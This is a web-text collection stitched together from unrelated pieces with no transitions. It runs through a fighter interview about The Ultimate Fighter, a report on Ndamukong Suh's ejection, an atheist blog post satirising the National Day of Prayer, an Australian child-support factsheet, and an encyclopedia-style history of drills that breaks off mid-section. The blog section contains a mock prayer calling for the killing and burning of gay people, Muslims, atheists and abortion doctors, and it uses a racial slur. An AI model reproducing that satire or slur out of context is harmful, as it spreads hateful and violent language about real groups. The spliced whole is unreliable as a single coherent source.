Even after the fight, when we were riding back in the van, I was like, ‘HA! None of you guys thought I was gonna win!' And they were all like, ‘Yup. We didn't. Sorry.' They all admitted it. I was like, maybe now you guys will take me more seriously. But at the same time, good. Keep hating on me. Keep thinking I suck. That fuels me. I was getting high off their hatred.
Al-Shatti: Shayna, in particular, really poured it on. She said you should've been coming to her seminars. She repeated that sort of sentiment over and over throughout the episode.
Pena: Yep, and it hurt her. When she's on the bed talking about how I'm not the girl to put the stamp on her, from her body language, it didn't look like she was really believing it. She was just talking to talk. For them to say things like, I don't deserve to breathe the same air as Shayna, or, I can't hold a candle to anybody she's fought -- it just really backfired. If she's not going to be a little more humble in the future, maybe she should. Because I think, personally, she looks extremely stupid. It should make her take a little piece of that humble pie and shove it down her throat.
Al-Shatti: Okay, backtracking a bit, tell me: What's that moment like when you first walk into the house, there's cameras everywhere and this is finally a real thing?
Pena: It's... weird. You go to the bathroom and there's cameras in every corner. No place is safe. It's really strange at first, adjusting to all the cameras everywhere and knowing where the safe spots are that they're not going to see you. ‘Am I okay going to bathroom?' It was really surreal. They put a camera in the bathroom to see if anybody's in there or not, but they way they're angled... you kind of wonder, ‘Can they see me when I'm in the corner?' It was one of those things.
Al-Shatti: Did you have a gameplan coming into the house? I noticed you were the first one to bolt upstairs looking for a room.
Pena: Mike Chiesa warned me. He listed a lot of things I needed to do, and the first thing on the list: Find a bedroom upstairs with a door. He said in his TUF house the bedrooms downstairs didn't have doors, and you could hear everything all night long. So I knew that, and I'm the first one bolting through the door because I needed that room. I was on a mission. (Laughs.)
Al-Shatti: Did you succeed in your mission?
Pena: Oh yeah. I got the smallest room with the bathroom inside. And it had a door! It could barely open and close. The door was really annoying, actually, because it was really loud. But yeah, I got the room I wanted.
Al-Shatti: You made it clear right away: you didn't come here for boys. Did you get the sense that any other women felt differently?
Pena: I wouldn't say that they had different priorities. I would say that they were... more open to that kind of stuff. Some girls in particular. Not all of them.
Al-Shatti: Willing to name any names?
Pena: Sarah (Moras) was more open to the idea of flirting with the guys and wanting the attention from guys. I wasn't really interested. I kind of just did my own thing.
Once I kind of made it clear I wasn't trying to find a boyfriend, the tone dramatically changed. Before [the men] were really nice and everybody was cool. Then once I'm like, ‘Hey, I'm not here for a boyfriend,' everyone kind of flat lined. I sensed that they thought, ‘There's nothing you girls could do to me. Literally I could fight you with one hand behind my back and still kill you,' you know?
Al-Shatti: Ronda seemed to be instigating even early on, barging in on Team Tate's practice. Was there more to it than that?
Pena: There were things she was doing to piss off our team. To me, it was just very amateur hour. It was like, God, you're such a little girl. Damn, you're so dumb. It wasn't even like we were scared of her. Oh, that's such a great effect. You're kicking in the door. It's just stupid. Somebody trying so hard to get that attention. You're not cool. It backfired and made you look stupid.
Al-Shatti: What did the rest of Team Tate think of it?
Pena: I can't only speak for myself, but for the most part I have a feeling that the other people on my team wanted to be on Ronda's team and thought it was cool. Like, oh yeah, she's so bad. I don't know. I was doing that stuff in the fourth grade. It wasn't shocking and it wasn't intimidating, but some of my team members were so far up her butt that it was like, ‘(Gasp) Ronda! We've got to get out of here!'
Al-Shatti: You said it last week, and you said it a couple times this week: You're your own worst enemy. Did that stress alleviate or only get worse after Shayna slipped a queen of spades card down your shirt at the weigh-ins?
Pena: It was stupid. There is no magic in fighting. There's no tricks. It's a fist fight. I don't want to say it was for TV, but when they're saying, ‘I think that card she put in her shirt just got in her head' -- no! Absolutely not! If anything, it was the opposite. It just looked stupid. People do those types of things when they're getting put in a corner and they're scared. That's when they have to pull out the extras. That, to me, is like people that come out to cage wearing these big gigantic costumes and they go lose their ass. Enough with the gimmicks. I'm not buying it. There's no magic in a cage fight. So she can go ahead with her little aces of spades and shove it right up her ass.
'It should make her take a little piece of that humble pie and shove it down her throat.'
Al-Shatti: Wow, there's clearly no love lost between you two. Tell me: What's going through your mind as you take Shayna's back?
Pena: ‘I better not lose it!' (Laughs.) If the opportunity presented itself to finish the fight, I was going to take it. And it did. I could feel it. I wasn't going to let up. I knew that I was going to finish the fight right then and there. It was just such a great feeling.
Looking back on the fight, I wish I wouldn't have let up on the choke so quickly after she tapped. I should've held it a couple more seconds, but it didn't because I'm nice. So whatever. It was a great feeling.
Al-Shatti: Ronda got incredibly emotional afterward. Was that just for the cameras or did you guys see that too?
Pena: No, I didn't see that. But I definitely saw the dynamics change between her and Miesha after that. Obviously they've had their tiffs in the past, but for the most part, they were cordial with one another. Me and Miesha both agreed, ‘Hmmm, Ronda's being nice. This is kinda weird.' And then, bang! Right after that fight against Shayna, it flipped a switch. After that Ronda was a nightmare. She just couldn't stand the fact that I took out her No. 1 pick. And yeah, it made her cry. That's great. I made Ronda Rousey cry and I love it.
Al-Shatti: When Ronda got angry and chastised Miesha for smiling after your win, you were right there. Was Miesha doing anything disrespectful or ridiculous, or was Ronda just being dramatic?
Pena: Absolutely not. That was Ronda being a big baby. She was so upset that I won, she was trying to look for anything to use as an excuse to talk crap to Miesha. And she found it. Miesha was obviously happy for me. Miesha has competed against Shanya herself and has known Shayna for a while. Shayna is her friend. So for Ronda to be like, ‘You were laughing at my girl's pain! That's the reason why I'm going to destroy you!' It was like, again, it's just so dumb. Grow up. Miesha knows Shanya. They're friends. She's not smiling at her pain. She's happy for me. Only Ronda would twist those type of emotions into something that would make it bad. Because that's the way she thinks.
TUF MAILBAG
mrdavidnunez asks: How many girls did you personally know or know about before going into the house? Have you fought or trained with any of them before?
Pena: I knew about Shayna because I'd seen her fight before and I knew what a vet she is. I've fought Sarah Moras. I knew her. And I knew Jessamyn Duke because my training partner fought her a couple years ago. And then of course I knew Roxanne (Modafferi). I didn't personally know her, but knew her from her being a vet as well. I didn't know any of the other girls, but I had seen videos of all of them after they named the rumored list of who was going to make it into the house after the tryouts.
In an unrepentant and at times defiant postgame rant, Suh maintained that he did not intentionally kick the Packers' guard and declined to apologize to the offended party for his Thanksgiving Day tussle.
"What I did was remove myself from the situation the best way that I felt in me being held down in the situation that I was in," Suh explained following the Lions' 27-15 loss. "My intentions were not to kick anybody, as I did not. (I was) removing myself, as you see, I'm walking away from the situation. And with that I apologize to my teammates, and my fans and my coaches for putting myself to be in position to be misinterpreted and taken out of the game."
The altercation occurred after Suh was pulled to the ground by Dietrich-Smith following an Aaron Rodgers incompletion on third-and-goal. Suh could be seen on video repeatedly pushing Dietrich-Smith's head to the ground, and he then kicked the Packer as he was getting pulled from the pile.
An official immediately threw a flag, and Suh was ejected for unsportsmanlike conduct.
Suh said it was clear, from his perspective, that his actions were misinterpreted.
"I was on top of a guy being pulled down and trying to get up off the ground, which is why you see me pushing his helmet down," Suh said. "As I'm getting up, I'm getting pushed so I'm getting myself unbalanced. ... With that a lot of people are going to interpret it as or create their own storylines, ... but I know what I did, and the man upstairs knows what I did."
Suh added: "I understand in this world because of the type of player and type of person I am, all eyes are on me. So why would I do something to jeopardize myself, jeopardize my team, first and foremost? I don't do bad things. I have no intentions to hurt someone. If I want to hurt him, I'm going to hit his quarterback as I did throughout that game.
" ... If I see a guy stepping on somebody I feel like they're going to lean into it and forcefully step on that person or stand over that person. I'm going in the opposite direction to where he's at."
Suh did not say if he expected to receive a suspension or fine from the NFL, and Lions coach Jim Schwartz just said, "We're worried about losing this game" when asked if he thought Suh might be suspended.
In 2006, then-Titans defensive tackle Albert Haynesworth was suspended without pay for five games by the NFL for stomping on the face of Cowboys center Andre Gurode, who required 30 stitches following the incident. While Suh did not stomp on the exposed face of a player however, his fine and infraction history -- he has already been docked $42,000 this season -- likely won't be working in his favor when the NFL reviews the incident.
This latest incident certainly will give fodder to those who claim Suh is a dirty player. Lions running back Kevin Smith dodged the subject when asked by NFL Network's Albert Breer about Suh's not exactly golden reputation.
The National Day of Prayer Task Force is an Evangelical organization:
…whose purpose is to encourage participation on the National Day of Prayer. It exists to communicate with every individual the need for personal repentance and prayer, to create appropriate materials, and to mobilize the Christian community to intercede for America’s leaders and its families. The Task Force represents a Judeo Christian expression of the national observance, based on our understanding that this country was birthed in prayer and in reverence for the God of the Bible.
Shirley Dobson, wife of Christian fundamentalist James Dobson, is the chairwoman of the Task Force. In a recent letter to NDP volunteers, Dobson stated:
“We are contending with threats from those both here at home and abroad who aim to do us harm, and immoral practices and unsound principles run rampant throughout the culture. With this in mind, there’s an especially urgent need for God’s people to ask for His guidance for the days ahead.”
For those not schooled in the fine art of Evangelispeak®, immoral practices=abortion, homosexuality, sex before marriage, and same-sex marriage. Unsound principles=evolution,humanism, atheism, secularism, and socialism.
According to Dion Elmore, spokesman for the National Day of Prayer Task Force:
“This is an American thing; this is not a Christian thing. Congress solidified a tradition of the Founding Fathers, who fought for religious freedom to gather in churches and groups. We encourage Americans to get out and pray for your nation, if you are a person of faith. We realize some people aren’t, and we’re not trying to force it on them.”
Really? An American thing? What section of the Constitution or the Bill of Rights mentions the NDP as an “American thing.” While ONE of the reasons the Founding Fathers fought the British was religious freedom, it certainly wasn’t THE issue that drove colonialists to pick up arms and rebel against Britain. In fact, in many of the original 13 states, anti-religious freedom founding documents and laws were adopted, often enshrining Christianity as the state’s official religion. The notion that the United States was founded on religious freedom is a myth, as any cursory reading of American history will show.
The chairman of the 2015 National Day of Prayer is Jack Graham, fundamentalist Southern Baptist pastor of Prestonwood Baptist Church, a mega church located in Plano, Texas. Graham suggests that Evangelicals Christians, at 12:00 P.M. EST, recite the following prayer:
Heavenly Father, We come to You in the Name that is above every name—Jesus Christ our Lord and Savior. Our hearts cry out to You. Knowing that You are a prayer-answering, faithful God—the One we trust in times like these—we ask that You renew our spirits, revive our churches, and heal our land. We repent of our sins and ask for Your grace and power to save us. Hear our cry, oh God, and pour out Your Spirit upon us that we may walk in obedience to Your Word. We are desperate for Your tender mercies. We are broken and humbled before You. Forgive us, and in the power of Your great love, lift us up to live in Your righteousness. We pray for our beloved nation. May we repent and return to You and be a light to the nations. And we pray for our leaders and ask that You give them wisdom and faith to follow You. Preserve and protect us, for You are our refuge and only hope. Deliver us from all fears except to fear You, and may we courageously stand in the Truth that sets us free. We pray with expectant faith and grateful hearts. In Jesus’ name, our Savior. Amen.
Why is it necessary for millions of Christians to utter the same words at exactly the same time? Perhaps God has a busy schedule on Thursday and can only spare one minute to hear the repetitious prayers of his chosen people. How will success be judged? How will Evangelicals know that they got through to the Almighty? I guarantee you that there is ONE thing that every praying Evangelical wants under his prayer tree…the U.S. Supreme Court affirming that marriage is between one man and one woman.
According to Randall Murphree, editor of the American Family Association Journal:
The late Leonard Ravenhill spoke these sobering words, startlingly apropos for contemporary America: “The self-sufficient do not pray, the self-satisfied will not pray, the self-righteous cannot pray.” We have become self-sufficient, depending on our own abilities. We hold aloft our trophies, proclaiming, “Look what we have earned!” We neglect the gracious Giver of all gifts. We have become self-satisfied, prideful in our meaningless, material accomplishments. We rest pampered and apathetic in the arms of affluence. We forget the One who offers true satisfaction. We have become self-righteous, basking in the sunlight streaming through our stained glass windows. We ignore the God of whom Paul wrote, “[T]hey did not know the righteousness of God and sought to establish their own”… …If we do not confess the sins of our critically ill culture, the illness could be terminal. Time and time again, God has judged nations by the character of His people. When His people failed to repent, their nations fell. America’s believers – preachers and plumbers, janitors and judges, editors and educators, broadcasters and brick masons – must spend time before God Almighty, confessing and repenting…
As you can see, lots of generic theological words hide the real reason for this year’s National Day of Prayer. There will be few prayers uttered about the wars in the Middle East, global climate change, immigration, starving children, or the homeless. Little will be said about most of the perplexing problems facing 21st century humans. None of these things matter to most Evangelicals. What does matter is outlawing abortion, criminalizing homosexuality, and banning same-sex marriage. What does matter is re-instituting government sponsored prayer in public schools, posting the Ten Commandments on classroom walls, and teaching school children the earth is 6,019 years old. What matters most of all is taking back the United States from Kenyan-born, socialist negro Barack Obama and those who are Democrats, socialists, atheists, humanists, pagans, and liberal Christians. Theocracy remains the ultimate goal and they will not rest until the Christian flag is hoisted over the White House and the U.S. Supreme Court recognizes that Sharia ,Biblical Christian law, is the law of the Land.
I wish Evangelicals would be honest and stop couching their agenda in flowery, generic, non-offensive theological terms. Forget Jack Graham’s suggested prayer and get to the point:
Dear God, Dammit, we want our country back and we want it back now. We beseech you oh Lord, please kill all the homos, transvestites, abortion doctors, Muslims, atheists, and anyone else who refuses to bow a knee to Jesus and admit that the United States is one nation under the Evangelical God. As in days of the Old Testament, send a plague upon the heathen and kill them all, sparing the Koch Brothers, Waltons, and all the other job creators. Enrich hell with their flesh, and may the smell of their burning flesh be a sweet Uncle Ray’s BBQ savor in your nostrils. Oh Lord, burn down every house of worhsip except those where the one true Evangelical gospel is preached. You know which one that is, right Lord? I know you kind of got confused when you wrote the Bible. As in the days of the Old Testament, send fire from heaven and burn alive all the false prophets, especially atheist false prophets. Lord, what we really want is a Disney Park country just for true red white and blue Republican Christians. Please Lord, we need your help because no one is paying attention to us. Let the world know that you are still the same bad-ass God who drowned the entire human race in a flood and that we are your oh-so-special children. Thanks, Jesus. Amen.
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This factsheet has information for both parents or non-parent carers, whether you pay or receive child support. You will find information here on:
• how the child support formula works
• how child support and Family Tax Benefit are affected by:
– income
– other family
– the amount of time you spend with the children (your ‘care levels’)• Family Tax Benefit, child support agreements and collection arrangements
• how Legal Aid can help.
For more information on how to arrange child support and care arrangements for the children, see the Legal Aid factsheet ‘Organising child support and care arrangements for your children’.
How does the child support formula work?
When working out your child support payment, the Child Support Agency looks at:
• both parents’ income
• if you are supporting other children
• the costs of raising children (including their ages and the number of children)
• how much time you spend with the children (your ‘levels of care’).
How does income affect child support?
The costs of the children are shared by both parents. The Child Support Agency works out these costs by combining both parents income. Each parent has a ‘self-support amount’ deducted from their income before the calculations are done. The parent with the higher income is responsible for providing the greater share of the children’s costs.
Do your tax returns every year. The Child Support Agency and the Australian Taxation Office share their records. If you lodge a tax return late, your child support assessment for past years may change. You may have paid or been paid too much child support. This can cause financial difficulties.
If you look after the children but are not a parent of the children you can apply to the Child Support Agency for child support. Legal Aid or a community legal centre can give you more information.
What if I pay child support and have other children living with me?
It is important that the Child Support Agency know you have other children of your own living with you. If you do, your income used to calculate your child support responsibilities may be reduced and you may pay less child support.
If you have step-children, your step-child’s parents are responsible for supporting them. In special circumstances you can apply to have your assessment reviewed if you have child support children and step-children. Get legal advice about this.
How do the children’s costs and their care arrangements affect child support?
The amount of care you and the other parent provide for the children can be recognised as meeting some or all of the costs of the children.
Some of the children’s costs can be met directly through looking after your children, and the rest will be paid or received aschild support. This table explains how much of your child support responsibilities are met directly through looking after your children.
If you care for the children 52 nights or more each year, and are receiving a Centrelink benefit, you may not need to pay child support. This is because you are meeting your share of the children’s costs by looking after them.
If you change the amount of time you care for the children, your child support may also change. This is because your share of the children’s costs may vary depending on how much time you look after them.
You must tell the Child Support Agency as soon as your childcare arrangements change. If the Child Support Agency makes a decision that you disagree with, get legal advice quickly. Legal Aid or a community legal centre can help.
What sorts of things affect my Family Tax Benefit Part A?
You can only receive Family Tax Benefit Part A if you care for the children at least 35% of the time. You will usually have to satisfy Centrelink that you have applied for a child support assessment from the other parent to receive Family Tax Benefit Part A. You may not have to if special circumstances apply. Speak to your Centrelink social worker about this.
Parents who receive Family Tax benefit Part A (at more than the base rate) are required by Centrelink to apply for a child support assessment.
Child care levels and Family Tax Benefit Part A
Centrelink will calculate how much time you spend with the children. They will calculate your Family Tax Benefit Part A based on this. Centrelink takes into account the amount of time you spend with the children, including daytimes as well as nights.
Income levels and Family Tax Benefit Part A
Family Tax Benefit Part A is affected by your yearly household income (including your new partners’ income) and your child support payments for each child.
Collection arrangements and Family Tax Benefit Part A – formula assessments
If you have a child support formula assessment and your child support payments are paid:
– on time, and
– in full
your Family Tax Benefit Part A will usually be based on the same amount of child support each fortnight.
If the Child Support Agency collects your payments and:
• your child support payments are not regular, or
• are less than they should be
you can ask to have your Family Tax Benefit Part A calculated according to the actual child support payments that you receive. Your Family Tax Benefit Part A payments will go up and down depending on how much child support you receive. If you later receive a lump sum of child support owed to you, you may have to pay some of the Family Tax Benefit Part A back. Talk to Centrelink about which method may be best for you.
If you transfer your child support privately, Centrelink will pay your Family Tax Benefit Part A as if you are receiving the amount you would receive under the assessment. If you agree to accept less child support than the amount you are entitled to in the assessment, your Family Tax Benefit Part A will not change.
Family Tax Benefit Part A – child support agreements
– Child support agreements registered before 1 July 2008
Your Family Tax Benefit Part A will be worked out using the amount of child support in your agreement.– Child support agreements registered after 1 July 2008Your Family Tax Benefit Part A will be based on the amount of child support that would have been payable under a formula assessment.
Your other family and Family Tax Benefit
A drill is a tool primarily used for making round holes or driving fasteners. It is fitted with a bit, either a drill or driver, depending on application, secured by a chuck. Some powered drills also include a hammer function.
Drills vary widely in speed, power, and size. They are characteristically corded electrically driven devices, with hand operated types dramatically decreasing in popularity and cordless battery powered ones proliferating.
Drills are commonly used in woodworking, metalworking, machine tool fabrication, construction and utility projects. Specially designed versions are made for medicine, Space, and miniature applications.
History [ edit ]
Mary Rose A wooden drill brace and other carpentry tools Including a plane spokeshave , and rudimentary ruler ) found on board the 16th century warship
Around 35,000 BC, Homo sapiens discovered the benefits of the application of rotary tools. This would have rudimentarily consisted of a pointed rock being spun between the hands to bore a hole through another material.[1] This led to the hand drill, a smooth stick, that was sometimes attached to flint point, and was rubbed between the palms. This was used by many ancient civilizations around the world including the Mayans.[2] The earliest perforated artifacts, such as bone, ivory, shells, and antlers found, are from the Upper Paleolithic era.[3]
Bow drill (strap-drills) are the first machine drills, as they convert a back and forth motion to a rotary motion, and they can be traced back to around 10,000 years ago. It was discovered that tying a cord around a stick, and then attaching the ends of the string to the ends of a stick(a bow), allowed a user to drill quicker and more efficiently. Mainly used to create fire, bow-drills were also used in ancient woodwork, stonework, and dentistry. Archaeologists discovered a Neolithic grave yard in Mehrgrath, Pakistan dating from the time of the Harappans, around 7,500–9,000 years ago, containing 9 adult bodies with a total of 11 teeth that had been drilled.[4] There are hieroglyphs depicting Egyptian carpenters and bead makers in a tomb at Thebes using bow-drills. The earliest evidence of these tools being used in Egypt dates back to around 2500 BCE.[5] The usage of bow-drills was widely spread through Europe, Africa, Asia, and North America, during ancient times and is still used today. Over the years many slight variations of bow and strap drills have developed for the various uses of either boring through materials or lighting fires.
The core drill was developed in ancient Egypt by 3000 BC.[6] The pump drill was invented during Roman times. It consists of a vertical spindle aligned by a piece of horizontal wood and a flywheel to maintain accuracy and momentum.[7]
The hollow-borer tip, first used around the 13th century, consisted of a stick with a tubular shaped piece of metal on the end, such as copper. This allowed a hole to be drilled while only actually grinding the outer section of it. This completely separates the inner stone or wood from the rest, allowing the drill to pulverize less material to create a similarly sized hole.[8]
While the pump-drill and the bow-drill were used in Western Civilization to bore smaller holes for a larger part of human history, the Auger was used to drill larger holes starting sometime between Roman and Medieval ages.[9] The auger allowed for more torque for larger holes. It is uncertain when the Brace and Bit was invented; however, the earliest picture found so far dates from the 15th century.[9] It is a type of hand crank drill that consists of two parts as seen in the picture. The brace, on the upper half, is where the user holds and turns it and on the lower part is the bit. The bit is interchangeable as bits wear down. The auger uses a rotating helical screw similar to the Archimedean screw-shaped bit that is common today. The gimlet is also worth mentioning as it is a scaled down version of an auger.
In the East, churn drills were invented as early as 221 BC during the Chinese Qin Dynasty,[10] capable of reaching a depth of 1500 m.[6] Churn drills in ancient China were built of wood and labor-intensive, but were able to go through solid rock.[11] The churn drill appears in Europe during the 12th century.[6] In 1835 Isaac Singer is reported to have built a steam powered churn drill based on the method the Chinese used.[12] Also worth briefly discussing are the early drill presses; they were machine tools that derived from bow-drills but were powered by windmills or water wheels. Drill presses consisted of the powered drills that could be raised or lowered into a material, allowing for less force by the user.
The next great advancement in drilling technology, the electric motor, led to the invention of the electric drill. It is credited to Arthur James Arnot and William Blanch Brain of Melbourne, Australia who patented the electric drill in 1889.[13] In 1895, the first portable handheld drill was created by brothers Wilhem & Carl Fein of Stuttgart, Germany. In 1917 the first trigger-switch, pistol-grip portable drill was patented by Black & Decker.[14] This was the start of the modern drill era. Over the last century the electric drill has been created in a variety of types and multiple sizes for an assortment of specific uses.
Types [ edit ]
There are many types of drills: some are powered manually, others use electricity (electric drill) or compressed air (pneumatic drill) as the motive power, and a minority are driven by an internal combustion engine (for example, earth drilling augers). Drills with a percussive action (hammer drills) are mostly used in hard materials such as masonry (brick, concrete and stone) or rock. Drilling rigs are used to bore holes in the earth to obtain water or oil. Oil wells, water wells, or holes for geothermal heating are created with large drilling rigs. Some types of hand-held drills are also used to drive screws and other fasteners. Some small appliances that have no motor of their own may be drill-powered, such as small pumps, grinders, etc.
Hand [ edit ]
Manual [ edit ]
Carpenter using a hand-powered brace to drill a hole
A traditional hand drill, with hollow wooden handle and screw-on cap used for storing bits
Bow - A simple rotational hand-operated tool of prehistoric origin.
Brace - A woodworker's brace has a ‘U’ formed wrench/outline that is utilized to transform the hurl and drill into wood. The breadth handle of a brace gives more use which enables the brace to create more torque than a hand drill. The scope handle of a brace causes it to produce more torque than a hand drill, because of it having a more prominent separation from the focal point of revolution so giving more use than the turning handle of a hand drill . Wood screw bits can be utilized with a brace to drill vast distance across gaps.
Gimlet
Hand drill, also known as an "eggbeater" drill, or (especially in the UK) a wheel brace
Cranial drill is an fundamental instrument used throughout skull surgery
Breast, similar to an "eggbeater" drill, it has a flat chest piece instead of a handle
Push, which uses a spiral ratchet mechanism
Pin chuck, a small hand-held jeweler's drill
Corded [ edit ]
Anatomy of a pistol-grip corded drill.
Corded hand drill in use
The most common form of corded drill is the pistol-grip. A specialty form is a right-angle drill, used to drill in tight spaces. Power in corded drills is typically supplied by a universal motor, used for its high power to weight ratio.
For much of the 20th century, many attachments could commonly be purchased to convert corded electric hand drills into a range of other power tools, such as orbital sanders and power saws, more cheaply than purchasing dedicated versions of those tools. As the prices of power tools and suitable electric motors have fallen such attachments have become much less common. A similar practice is currently employed for cordless tools where the battery, the most expensive component, is shared between various compatible devices.
Cordless [ edit ]
Cordless drill
A cordless drill is an electric drill which uses rechargeable batteries. These drills are available with similar features to an AC mains-powered drill. These are the most common type of drill. They are available in the hammer drill configuration and most have a clutch, which aids in driving screws into various substrates while not damaging them. Also available are right angle drills, which allow a worker to drive screws in a tight space. While 21st century battery innovations allow significantly more drilling, large diameter holes (typically 12–25 mm (0.5–1.0 in) or larger) may drain current cordless drills quickly.
For continuous use, a worker will have one or more spare battery packs charging while drilling, and quickly swap them instead of having to wait an hour or more for recharging, although there are now Rapid Charge Batteries that can charge in 10–15 minutes.
Early cordless drills used interchangeable 7.2 V battery packs. Over the years battery voltages have increased, with 18 V drills being most common, but higher voltages are available, such as 24 V, 28 V, and 36 V. This allows these tools to produce as much torque as some corded drills.
Common battery types of are nickel-cadmium (NiCd) batteries and lithium-ion batteries, with each holding about half the market share. NiCd batteries have been around longer, so they are less expensive (their main advantage), but have more disadvantages compared to lithium-ion batteries. NiCd disadvantages are limited life, self-discharging, environment problems upon disposal, and eventually internally short circuiting due to dendrite growth. Lithium-ion batteries are becoming more common because of their short charging time, longer life, absence of memory effect, and low weight. Instead of charging a tool for an hour to get 20 minutes of use, 20 minutes of charge can run the tool for an hour. Lithium-ion batteries also hold a charge for a significantly longer time than nickel-cadmium batteries, about two years if not used, vs. 1 to 4 months for a nickel-cadmium battery.
Hammer [ edit ]
The hammer drill is similar to a standard electric drill, with the exception that it is provided with a hammer action for drilling masonry. The hammer action may be engaged or disengaged as required. Most electric hammer drills are rated (input power) at between 600 and 1100 watts. The efficiency is usually 50-60% i.e. 1000 watts of input is converted into 500-600 watts of output (rotation of the drill and hammering action).
The hammer action is provided by two cam plates that make the chuck rapidly pulse forward and backward as the drill spins on its axis. This pulsing (hammering) action is measured in Blows Per Minute (BPM) with 10,000 or more BPMs being common. Because the combined mass of the chuck and bit is comparable to that of the body of the drill, the energy transfer is inefficient and can sometimes make it difficult for larger bits to penetrate harder materials such as poured concrete. A standard hammer drill accepts 6 mm (1/4 inch) and 13 mm (1/2 inch) drill bits. The operator experiences considerable vibration, and the cams are generally made from hardened steel to avoid them wearing out quickly. In practice, drills are restricted to standard masonry bits up to 13 mm (1/2 inch) in diameter. A typical application for a hammer drill is installing electrical boxes, conduit straps or shelves in concrete.
Rotary [ edit ]
A heavy duty rotary hammer drill
The rotary hammer (also known as a rotary hammer drill, roto hammer drill or masonry drill) combines a primary dedicated hammer mechanism with a separate rotation mechanism, and is used for more substantial material such as masonry or concrete. Generally, standard chucks and drills are inadequate and chucks such as SDS and carbide drills that have been designed to withstand the percussive forces are used. A rotary hammer uses SDS or Spline Shank bits. These heavy bits are adept at pulverising the masonry and drill into this hard material with relative ease. Some styles of this tool are intended for masonry drilling only and the hammer action cannot be disengaged. Other styles allow the drill to be used without the hammer action for normal drilling, or hammering to be used without rotation for chiselling. In 1813 Richard Trevithick designed a steam-driven rotary drill, also the first drill to be powered by steam.[15]
In contrast to the cam-type hammer drill, a rotary/pneumatic hammer drill accelerates only the bit. This is accomplished through a piston design, rather than a spinning cam. Rotary hammers have much less vibration and penetrate most building materials. They can also be used as "drill only" or as "hammer only" which extends their usefulness for tasks such as chipping brick or concrete. Hole drilling progress is greatly superior to cam-type hammer drills, and these drills are generally used for holes of 19 mm (3/4 inch) or greater in size. A typical application for a rotary hammer drill is boring large holes for lag bolts in foundations, or installing large lead anchors in concrete for handrails or benches.
Drill press [ edit ]
A drill press
Drill press (then called a boring machine) boring wooden reels for winding barbed wire, 1917
A drill press (also known as a pedestal drill, pillar drill, or bench drill) is a style of drill that may be mounted on a stand or bolted to the floor or workbench. Portable models are made, some including a magnetic base. Major components include a base, column (or pillar), adjustable table, spindle, chuck, and drill head, usually driven by an electric motor. The head typically has a set of three handles radiating from a central hub that are turned to move the spindle and chuck vertically. A drill press is typically measured by its "swing", calculated as twice the distance from the center of the chuck to the closest edge of the column. Thus, a tool with 4" between chuck center and column edge is described as an 8" drill press.[citation needed]
A drill press has a number of advantages over a hand-held drill:
Less effort is required to apply the drill to the workpiece. The movement of the chuck and spindle is by a lever working on a rack and pinion, which gives the operator considerable mechanical advantage
The table allows a vise or clamp to be used to position and restrain the work, making the operation much more secure
The angle of the spindle is fixed relative to the table, allowing holes to be drilled accurately and consistently
Drill presses are almost always equipped with more powerful motors compared to hand-held drills. This enables larger drill bits to be used and also speeds up drilling with smaller bits.
For most drill presses—especially those meant for woodworking or home use—speed change is achieved by manually moving a belt across a stepped pulley arrangement. Some drill presses add a third stepped pulley to increase the number of available speeds. Modern drill presses can, however, use a variable-speed motor in conjunction with the stepped-pulley system. Medium-duty drill presses such as those used in machine shop (tool room) applications are equipped with a continuously variable transmission. This mechanism is based on variable-diameter pulleys driving a wide, heavy-duty belt. This gives a wide speed range as well as the ability to change speed while the machine is running. Heavy-duty drill presses used for metalworking are usually of the gear-head type described below.
Drill presses are often used for miscellaneous workshop tasks other than drilling holes. This includes sanding, honing, and polishing. These tasks can be performed by mounting sanding drums, honing wheels and various other rotating accessories in the chuck. This can be unsafe in some cases, as the chuck arbor, which may be retained in the spindle solely by the friction of a taper fit, may dislodge during operation if the side loads are too high.
Geared head [ edit ]
A geared head drill press, with up to eight possible speeds accessible via shift levers on the head and a two speed motor control immediately in front of the quill handle
A geared head drill press transmits power from the motor to the spindle through spur gearing inside the machine's head, eliminating a flexible drive belt. This assures a positive drive at all times and minimizes maintenance. Gear head drills are intended for metalworking applications where the drilling forces are higher and the desired speed (RPM) is lower than that used for woodworking.
Levers attached to one side of the head are used to select different gear ratios to change the spindle speed, usually in conjunction with a two- or three-speed motor (this varies with the material). Most machines of this type are designed to be operated on three-phase electric power and are generally of more rugged construction than equivalently sized belt-driven units. Virtually all examples have geared racks for adjusting the table and head position on the column.
Geared head drill presses are commonly found in tool rooms and other commercial environments where a heavy duty machine capable of production drilling and quick setup changes is required. In most cases, the spindle is machined to accept Morse taper tooling for greater flexibility. Larger geared head drill presses are frequently fitted with power feed on the quill mechanism, with an arrangement to disengage the feed when a certain drill depth has been achieved or in the event of excessive travel. Some gear-head drill presses have the ability to perform tapping operations without the need for an external tapping attachment. This feature is commonplace on larger gear head drill presses. A clutch mechanism drives the tap into the part under power and then backs it out of the threaded hole once the proper depth is reached. Coolant systems are also common on these machines to prolong tool life under production conditions.
Radial arm [ edit ]
Radial arm drill press
Controls
A radial arm drill press is a large geared head drill press in which the head can be moved along an arm that radiates from the machine's column. As it is possible to swing the arm relative to the machine's base, a radial arm drill press is able to operate over a large area without having to reposition the workpiece. This saves considerable time because it is much faster to reposition the drill head than it is to unclamp, move, and then re-clamp the workpiece to the table. The size of work that can be handled may be considerable, as the arm can swing out of the way of the table, allowing an overhead crane or derrick to place a bulky workpiece on the table or base. A vise may be used with a radial arm drill press, but more often the workpiece is secured directly to the table or base, or is held in a fixture. Power spindle feed is nearly universal with these machines and coolant systems are common. Larger size machines often have power feed motors for elevating or moving the arm. The biggest radial arm drill presses are able to drill holes as large as four inches (101.6 millimeters) diameter in solid steel or cast iron. Radial arm drills are specified by the diameter of the column and the length of the arm. The length of the arm is usually the same as the maximum throat distance. The Radial Arm Drill pictured in this article is a 9-inch column x 3-foot arm. The maximum throat distance of this drill would be approximately 36", giving a swing of 72" (6 feet).
Magnetic [ edit ]
A lightweight magnetic drilling machine fitted with an annular cutter making holes on an I-beam
A magnetic drill is a portable machine for drilling holes in large and heavy workpieces which are difficult to move or bring to a stationary conventional drilling machine. It has a magnetic base and drills holes with the help of cutting tools like annular cutters (broach cutters) or with twist drill bits. There are various types depending on their operations and specializations, like magnetic drilling cum tapping machines, cordless, pneumatic, compact horizontal, automatic feed, cross table base etc.
Mill [ edit ]
Mill drills are a lighter alternative to a milling machine. They combine a drill press (belt driven) with the X/Y coordinate abilities of the milling machine's table and a locking collet that ensures that the cutting tool will not fall from the spindle when lateral forces are experienced against the bit. Although they are light in construction, they have the advantages of being space-saving and versatile as well as inexpensive, being suitable for light machining that may otherwise not be affordable.
Surgical [ edit ]
